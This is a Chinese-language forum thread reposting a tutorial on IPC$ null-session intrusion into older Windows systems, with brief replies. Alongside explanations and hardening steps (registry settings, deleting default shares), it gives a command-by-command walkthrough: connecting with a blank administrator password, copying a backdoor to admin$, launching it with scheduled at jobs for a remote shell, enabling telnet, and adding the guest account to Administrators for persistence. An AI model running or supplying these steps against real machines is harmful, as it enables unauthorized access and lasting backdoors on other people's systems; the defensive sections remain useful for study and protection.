COCO研究院

 找回密碼
 註冊
搜索
查看: 6175|回復: 3

> 一份詳盡的ipc$入侵資料

[複製鏈接]
發表於 10-5-23 17:33 | 顯示全部樓層 |閱讀模式
>  一份詳盡的ipc$入侵資料


一 嘮叨一下:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄。
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少)。
因此我寫了這篇相當於解惑的教程。想把一些容易混淆, 容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回覆!

二 什麼是ipc$:
ipc$(internet process connection)是共用"具名管道"的資源(大家都是這麼說的),它是為了讓進程間通信而開放的具名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠端系統管理電腦和查看電腦的共用資源時使用。
利用ipc$連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然對方機器必須開了ipc$共用,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的使用者清單(不過負責的管理員會禁止匯出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠端系統管理而開放的遠端網路登陸功能,而且還打開了默認共用,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者會利用ipc$,訪問共用資源,匯出用戶清單,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的。目的解惑:

1. ipc連接是windows nt及以上系統中特有的遠端網路登陸功能,其功能相當於unix中的telnet,由於ipc$功能需要用到windows nt中的很多dll函數,所以不能在windows 9.x中運行。也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2008年了,建議98的換一下系統吧)。
2. 即使是空連接也不是100%都能建立成功,如果對方關閉了 ipc$共用,你仍然無法建立連接。
3. 並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止匯出用戶列表。

三 建立ipc$連接在hack攻擊中的作用:
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的資訊(而這些資訊往往是入侵中必不可少的),訪問部分共用,如果你能夠以某一個具有一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登入,嘿嘿,就不用我在多說了吧,what you want,you can do!!
(基本上可以總結為獲取目標資訊、管理目標進程和服務,上傳木馬並運行,如果是2000server,還可以考慮開啟終端服務方便控制。怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的。因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共用時,你根本就無法連接。所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是 ipc$連接在hack入侵中的意義所在。

四 ipc$與空連接,139,445埠,默認共用的關係:
以上四者的關係可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的。
1. ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了。
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃瞄弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很鬱悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲)。

2. ipc$與139,445埠:
ipc$連接可以實現遠端登陸及對默認共用的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139、 445(win2000)埠實現對共用檔/印表機的訪問,因此一般來講,ipc$連接是需要139或445埠來支援的。

3. ipc$與默認共用:
默認共用是為了方便管理員遠端系統管理而默認開啟的共用(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或 windows(admin$),我們通過 ipc$連接可以實現對這些默認共用的訪問(前提是對方沒有關閉這些默認共用)。

五 ipc$連接失敗的原因:
以下5個原因是比較常見的:

1. 你的系統不是nt或以上作業系統
2. 對方沒有打開ipc$默認共用
3. 對方未開啟139或445埠(惑被防火牆遮罩)
4. 你的命令輸入有誤(比如缺少了空格等)
5. 用戶名或密碼錯誤(空連接當然無所謂了)

另外,你也可以根據返回的錯誤號分析原因:

* 錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
* 錯誤號51,windows 無法找到網路路徑 : 網路有問題;
* 錯誤號53,找不到網路路徑 : ip位址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
* 錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
* 錯誤號1219,提供的憑據與已存在的憑據集衝突 : 你已經和對方建立了一個ipc$,請刪除再連。
* 錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
* 錯誤號1792,試圖登錄,但是網路登入服務沒有啟動 : 目標netlogon服務未啟動。(連接域控會出現此情況)
* 錯誤號2242,此使用者的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。

關於ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.

六 如何打開目標的ipc$(此段引自相關文章):
首先你需要獲得一個不依賴於 ipc$ 的 shell,比如 sql 的 cmd 擴展、telnet、木馬,當然,這 shell 必須是 admin 許可權的,然後你可以使用 shell 執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$ 能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

七 如何防範ipc$入侵:
1. 禁止空連接進行枚舉(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit,找到如下組建[hkey_local_machine\system\currentcontrolset \control\lsa]把restrictanonymous = dword的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些win的服務出現問題等等)

2. 禁止默認共用
1)察看本地共用資源
運行-cmd-輸入net share
2)刪除共用(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新開機後server服務會重新開啟)
4)修改註冊表
運行-regedit

server版:找到如下主鍵[hkey_local_machine\system\currentcontrolset\services \lanmanserver \parameters]把autoshareserver(dword)的鍵值改為:00000000。

pro版:找到如下主鍵 [hkey_local_machine\system\currentcontrolset\services\lanmanserver \parameters]把autosharewks(dword)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。

3. 永久關閉ipc$和預設共用依賴的服務:lanmanserver即server服務
控制台-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用

4. 安裝防火牆(選中相關設置),或者埠過濾(濾掉139,445等),或者用新版本的優化大師。

5. 設置複雜密碼,防止通過ipc$窮舉密碼。

八 相關命令:
1. 建立空連接:
net use \\ip\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2. 建立非空連接:
net use \\ip\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)

3. 映射默認共用:
net use z: \\ip\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用ip+盤符+$訪問,具體命令 net use z: \\ip\c$

4. 刪除一個ipc$連接
net use \\ip\ipc$ /del

5. 刪除共用映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

九 經典入侵模式:
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. c:\>net use \\127.0.0.1\ipc$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是 administrators,密碼為"空"的ip地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連接,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號裡的是用戶名,輸入administrators,命令即可成功完成。

2. c:\>copy srv \\127.0.0.1\admin$
先複製srv上去,在流光的tools目錄下就有(這裡的$是指admin用戶的c:\winnt\system32 \,大家還可以使用c$、d$,意思是c盤與d盤,這看你要複製到什麼地方去了)。

3. c:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。

4. c:\>at \\127.0.0.1 11:05 srv
用at命令啟動srv吧(這裡設置的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. c:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就準備開始下面的命令。

6. c:\>telnet 127.0.0.1 99
這裡會用到telnet命令吧,注意埠是99。telnet默認的是23埠,但是我們使用的是srv在對方電腦中為我們建立一個99埠的 shell。
雖然我們可以telnet上去了,但是srv是一次性的,下次登錄還要再啟動!所以我們打算建立一個telnet服務!這就要用到ntlm了

7.c:\>copy ntlm \\127.0.0.1\admin$
用copy命令把ntlm上傳到主機上(ntlm也是在《流光》的tools目錄中)。

8. c:\winnt\system32>ntlm
輸入ntlm啟動(這裡的c:\winnt \system32>指的是對方電腦,運行ntlm其實是讓這個程式在對方電腦上運行)。當出現" done "的時候,就說明已經啟動正常。然後使用" net start telnet "來開啟 telnet 服務!

9. telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在dos上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest啟動加到管理組

10. c:\>net user guest /active:yes
將對方的guest用戶啟動

11. c:\>net user guest 1234
將 guest 的密碼改為 1234 或者你要設定的密碼

12. c:\>net localgroup administrators guest /add
將guest變為 administrator (如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台電腦)

十 總結:
關於ipc入侵就說這麼多了,覺得已經夠詳細了,如果有不準確的地方,希望能與大家討論。最後,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,並不是鼓勵大家隨便的入侵。

http://anti-hacker.blogspot.com/2008/02/ipc.html
發表於 10-5-23 18:02 | 顯示全部樓層
謝謝分享~
如果用軟體把那幾個port鎖掉,能夠避免被入侵嗎?
 樓主| 發表於 10-5-23 19:14 | 顯示全部樓層
如果用軟體把那幾個port鎖掉,能夠避免被入侵嗎?

這我不知道

目前都用手動輸入刪除
發表於 10-5-24 14:02 | 顯示全部樓層
嗯 謝謝
第一次聽到這個名詞呢
您需要登錄後才可以回帖 登錄 | 註冊

本版積分規則

手機版|Archiver|站長信箱|廣告洽詢|COCO研究院

GMT+8, 24-11-20 21:23

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回復 返回頂部 返回列表
理財討論網站 |